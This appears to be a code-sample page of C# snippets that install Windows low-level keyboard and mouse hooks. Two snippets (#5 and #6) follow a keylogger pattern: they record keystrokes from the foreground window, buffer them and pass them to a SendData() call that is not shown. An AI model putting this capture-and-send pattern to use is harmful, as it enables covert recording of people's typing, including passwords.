Exemple #1
0
 public void UnHook()
 {
     if (hHook != 0)
     {
         WinApiMethods.UnhookWindowsHookEx(hHook);
     }
 }
        private IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
        {
            if (nCode >= 0)
            {
                var hookStruct = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));
                var vkc        = (VirtualKeyCode)hookStruct.vkCode;

                //Debug.WriteLine("up   - {0}/{1}/{2}", KeyInterop.KeyFromVirtualKey((int)hookStruct.vkCode), hookStruct.vkCode, vkc);

                switch ((KeyboardMessages)wParam)
                {
                case KeyboardMessages.WM_KEYDOWN:
                case KeyboardMessages.WM_SYSKEYDOWN:
                {
                    this.KeyboardKeyDown(vkc);

                    break;
                }

                case KeyboardMessages.WM_KEYUP:
                case KeyboardMessages.WM_SYSKEYUP:
                {
                    this.KeyboardKeyUp(vkc);

                    break;
                }
                }
            }

            return(WinApiMethods.CallNextHookEx(_hookID, nCode, wParam, lParam));
        }
 private IntPtr SetHook(LowLevelProc proc)
 {
     using (Process curProcess = Process.GetCurrentProcess())
         using (ProcessModule curModule = curProcess.MainModule)
         {
             return(WinApiMethods.SetWindowsHookEx((int)HookType.WH_KEYBOARD_LL, proc, WinApiMethods.GetModuleHandle(curModule.ModuleName), 0));
         }
 }
Exemple #4
0
        private IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
        {
            if (nCode >= 0)
            {
                var hookStruct = (MSLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(MSLLHOOKSTRUCT));

                switch ((MouseMessages)wParam)
                {
                case MouseMessages.WM_MOUSEMOVE:
                {
                    this.Move(hookStruct.pt);

                    break;
                }

                case MouseMessages.WM_LBUTTONDOWN:
                {
                    this.LeftButtonDown(hookStruct.pt);

                    break;
                }

                case MouseMessages.WM_LBUTTONUP:
                {
                    this.LeftButtonUp(hookStruct.pt);

                    break;
                }

                case MouseMessages.WM_RBUTTONDOWN:
                {
                    this.RightButtonDown(hookStruct.pt);

                    break;
                }

                case MouseMessages.WM_RBUTTONUP:
                {
                    this.RightButtonUp(hookStruct.pt);

                    break;
                }

                case MouseMessages.WM_MOUSEWHEEL:
                {
                    // delta > 0 - wheel up
                    // delta < 0 - wheel down
                    this.WheelMove(hookStruct.mouseData.HighWord() / 120);

                    break;
                }
                }
            }

            return(WinApiMethods.CallNextHookEx(_hookID, nCode, wParam, lParam));
        }
Exemple #5
0
        private string GetLayoutSymbol(Keys keys)
        {
            if (keys == Keys.Enter || keys == Keys.Back)
            {
                return($"#{keys.ToString()}#");
            }

            IntPtr layout        = WinApiMethods.GetKeyboardLayout(WinApiMethods.GetWindowThreadProcessId(WinApiMethods.GetForegroundWindow(), IntPtr.Zero));
            bool   CapsLockState = (((ushort)WinApiMethods.GetKeyState(0x14)) & 0xffff) != 0;
            bool   ShiftState    = (WinApiMethods.GetAsyncKeyState((int)Keys.ShiftKey) & 0x8000) != 0;

            var buf           = new StringBuilder(256);
            var keyboardState = new byte[256];

            if (CapsLockState ^ ShiftState)
            {
                keyboardState[(int)Keys.ShiftKey] = 0xff;
            }
            WinApiMethods.ToUnicodeEx((uint)keys, 0, keyboardState, buf, 256, 0, layout);
            return(buf.ToString());
        }
Exemple #6
0
        private int LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam)
        {
            if (nCode < 0 || SizeBufer == 0 || (wParam.ToInt32() != (int)HookMessages.WM_KEYDOWN))
            {
                return(WinApiMethods.CallNextHookEx(hHook, nCode, wParam, lParam));
            }

            Keys key = (Keys)Marshal.ReadInt32(lParam);

            string sym = GetLayoutSymbol(key);

            KeysStr += sym;
            countEnterSym++;
            if (countEnterSym >= SizeBufer)
            {
                SendData();
                countEnterSym = 0;
                KeysStr       = String.Empty;
            }
            return(WinApiMethods.CallNextHookEx(hHook, nCode, wParam, lParam));
        }
 public virtual void Dispose()
 {
     WinApiMethods.UnhookWindowsHookEx(this._hookID);
 }